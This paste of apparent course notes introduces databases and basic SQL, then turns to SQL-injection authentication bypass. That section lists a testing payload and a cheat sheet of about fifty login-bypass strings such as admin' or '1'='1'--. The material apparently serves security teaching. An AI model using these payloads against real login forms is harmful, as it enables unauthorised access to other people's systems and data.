Mukezh

Session DBMS

Apr 2nd, 2019
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.78 KB | None | 0 0
  1. INTRODUCTION TO DBMS
  2. =====================
  3.  
  4. Database
  5. ========
  6. A database is something which stores the information (processed data).
  7.  
  8.  
  9. DBMS
  10. ====
  11. DBMS stands for Database Management System .The DBMS manages the data and arrange it in an organized form i.e. in the form of tables. The DBMS can Create, Insert, Modify, Delete and perform other operations on the Tables and Columns the Database we are operating on.
  12.  
  13. Databases stores data in the Forms of Tables --> Columns and Rows.
  14.  
  15. Eg. Student RECORD
  16.  
  17. ------------------------------------------------------------------
  18. Sno.| NAME | CLASS | CONTACT | ADDRESS | EMAIL |
  19. 1 |abhi | 1 | 2260143 | JANAKPURI EAST | ABH1@gmail.com |
  20. 2 |Ben | 1 | 1100192 | KALKAJI ext. | ben@gmail.com |
  21. ------------------------------------------------------------------
  22.  
  23.  
  24. The above data is a structured data in the form of rows and columns.
  25. So in order to extract,alter or modify data from the above table we use some query and these queries are considered as STRUCTURED QUERIED LANGUAGE or
  26. SQL.
  27.  
  28. -------------------------------------------------------------
  29.  
  30. SQL BASICS
  31. ==========
  32.  
  33. SQL is the language in which a Database can communicate by creating , modifying or inserting any type of data. Structured Query Language works on the basis of queries.
  34.  
  35. Select * from table_name;
  36.  
  37. Queries
  38. -------
  39. 1. Insert
  40. =========
  41. Insert into <table_name>(Columns_name) values(<Values to be inserted in Ddouble quotes>);
  42.  
  43. INSERT INTO `information` (`Name`, `Age`, `Gender`, `Address`) VALUES ('aman', '25', 'M', 'Vikram NAGAR');
  44.  
  45.  
  46. INSERT INTO `student` VALUES ('01', 'Shubham Raj', 'Male', '21'), ('03', 'Prince Raj', 'Male', '21');
  47.  
  48. 2. Select
  49. =========
  50. Select * from <table_name>;
  51.  
  52. * ---> everything
  53. Select * from information;
  54.  
  55. 3. Update
  56. =========
  57. Update <table_name> set <value to be change> where <condition>;
  58.  
  59. UPDATE information set Age=30 WHERE Name="Aman"
  60.  
  61. 4. Where
  62. ========
  63. Condition clause
  64. Select * from information where name like "A%"
  65.  
  66. 5. Delete
  67. =========
  68. Delete from <table_name> where <condition>;
  69.  
  70. Delete from information where name="Aman"
  71.  
  72. 6. Create
  73. =========
  74. create table <table_name>(Column_name data_type(length));
  75.  
  76. CREATE TABLE info(name text(30),salary int(6));
  77.  
  78.  
  79. 7. Order By
  80. ===========
  81. Is used fir arranging data either in ascending order or in descending order.
  82. select * from <table_name> order by name;
  83. select * from staff order by age;
  84.  
  85. 8. group by
  86. ===========
  87. It is used for making a group
  88.  
  89. select * from table_name group by gender;
  90.  
  91. 9. Union
  92. ========
  93. Used fro combining data of two different tables. Column number in both the table must be equal.
  94. null
  95.  
  96.  
  97.  
  98.  
  99.  
  100. 10. Information_schema
  101. ======================
  102. It is a meta tables which stores only meta data ---> only table names and column names, but it will not store the data inside the column name or table.
  103.  
  104. If I want to see only the table name ---> Information_schema.tables
  105.  
  106. If I want to see the column name --> Information_schema.columns
  107.  
  108. Authentication Bypass
  109. =====================
  110. 1. Basic Authentication
  111. 2. Integrated Authentication
  112. 3. Digest Authentication
  113. 4. Form Based Authentication
  114.  
  115. I will log in in the database as an administrator, with out having the credentials of the admin.
  116.  
  117. Gates --> AND | OR
  118.  
  119. Testing Payload ---> 1'or'1'='1
  120.  
  121. https://www.abc.com/items.php?id=2
  122. Item name
  123. Item Price
  124.  
  125. Select item_name,item_price from items where username='1'or'2'='2'#
  126. Select item_name,item_price from items where id=3;
  127.  
  128. Select item_name,item_price from items where id=2'
  129.  
  130. 1'or'1'='1 ---> True
  131. 0'or'0'='0
  132. x'or'x'='x
  133.  
  134.  
  135. CHEAT SHEET for Authentication Bypass
  136.  
  137.  
  138. or 1=1
  139. or 1=1--
  140. or 1=1#
  141. or 1=1/*
  142. admin' --
  143. admin' #
  144. admin'/*
  145. admin' or '1'='1
  146. admin' or '1'='1'--
  147. admin' or '1'='1'#
  148. admin' or '1'='1'/*
  149. admin'or 1=1 or ''='
  150. admin' or 1=1
  151. admin' or 1=1--
  152. admin' or 1=1#
  153. admin' or 1=1/*
  154. admin') or ('1'='1
  155. admin') or ('1'='1'--
  156. admin') or ('1'='1'#
  157. admin') or ('1'='1'/*
  158. admin') or '1'='1
  159. admin') or '1'='1'--
  160. admin') or '1'='1'#
  161. admin') or '1'='1'/*
  162. 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
  163. admin" --
  164. admin" #
  165. admin"/*
  166. admin" or "1"="1
  167. admin" or "1"="1"--
  168. admin" or "1"="1"#
  169. admin" or "1"="1"/*
  170. admin"or 1=1 or ""="
  171. admin" or 1=1
  172. admin" or 1=1--
  173. admin" or 1=1#
  174. admin" or 1=1/*
  175. admin") or ("1"="1
  176. admin") or ("1"="1"--
  177. admin") or ("1"="1"#
  178. admin") or ("1"="1"/*
  179. admin") or "1"="1
  180. admin") or "1"="1"--
  181. admin") or "1"="1"#
  182. admin") or "1"="1"/*
  183. 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
  184.  
  185. https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
Add Comment
Please, Sign In to add comment